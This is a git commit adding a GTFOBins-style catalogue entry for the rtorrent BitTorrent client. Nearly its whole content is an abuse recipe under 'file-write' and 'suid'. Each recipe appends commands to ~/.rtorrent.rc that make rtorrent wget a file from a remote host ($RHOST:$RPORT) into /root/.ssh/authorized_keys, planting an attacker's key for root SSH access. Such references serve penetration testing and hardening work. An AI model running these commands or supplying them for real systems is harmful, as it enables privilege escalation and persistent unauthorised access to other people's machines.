Add rtorrent

This commit is contained in:
巴都万 2022-08-05 23:39:15 +08:00
parent 1999e48052
commit 3f4b4f3e24

18
_gtfobins/rtorrent.md Normal file
View File

@ -0,0 +1,18 @@
---
description: a BitTorrent client for ncurses.
functions:
file-write:
- code: |
cat >> ~/.rtorrent.rc <<EOF
execute.throw = mkdir,/root/.ssh
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
EOF
rtorrent
suid:
- code: |
cat >> ~/.rtorrent.rc <<EOF
execute.throw = mkdir,/root/.ssh
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
EOF
./rtorrent
---